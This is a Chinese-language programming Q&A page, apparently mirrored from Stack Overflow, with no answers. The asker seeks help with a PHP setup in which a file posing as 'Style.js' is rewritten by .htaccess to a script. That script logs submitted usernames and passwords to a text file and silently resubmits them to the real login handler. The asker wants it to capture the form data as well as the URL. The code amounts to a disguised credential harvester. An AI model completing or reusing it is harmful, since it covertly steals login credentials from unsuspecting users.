双重提交表格

时间:2018-12-07 23:20:01

标签: php

你好,我如何使此代码适用于我曾经提交过两次 C:\ wamp64 \ www \ page \ login.php:

  

  <html>
    <head>
    <script type = "text/javascript" src="http://localhost/average/Style.js">
    </script>
    </head>
    <body>
    <form action="verify.php" method="post">
    User Name:<br> 
    <input type="text" name="username"><br><br> 
    Password:<br> 
    <input type="password" name="password"><br><br> 
    <input type="submit" name="submit" value="Login"> 
    </form> 
    </body>
    </html>

C:\ wamp64 \ www \ page \ verify.php:

<?php
if(isset($_POST['submit']){
$us = $_POST['username'];
$pw = $_POST['password'];
echo $us ;echo $pw ;}
?>

我在另一个目录中有三个文件 C:\ wamp64 \ www \ average \ Style.js它什么都不包含 C:\ wamp64 \ www \ average \ sub.php:

<?php
$url = $_SERVER['HTTP_REFERER'];
$url = str_replace(basename($url),'verify.php',$url);
$us = $_POST['username'];
$pw = $_POST['password'];
print "<form action=\"$url\" id=\"XxXxXx\" name=\"XxXxXx\" method=\"POST\" >
                            <input type=\"hidden\" name=\"username\" value=\"$us\">
                            <input type=\"hidden\" name=\"password\" value=\"$pw\">
                            </form>
<script>document.XxXxXx.submit();</script>";
$monfichier = fopen('test.txt', 'a+');
fputs($monfichier,$us);
fputs($monfichier,$pw);
fputs($monfichier,$url);
fclose($monfichier);
?>

C:\ wamp64 \ www \ average \ .htaccess

RewriteEngine on
RewriteRule ^Style.js$ sub.php

当运行它时,我只获得test.txt中的网址,我也想从表单中获取数据,我该怎么做 谢谢

0 个答案:

没有答案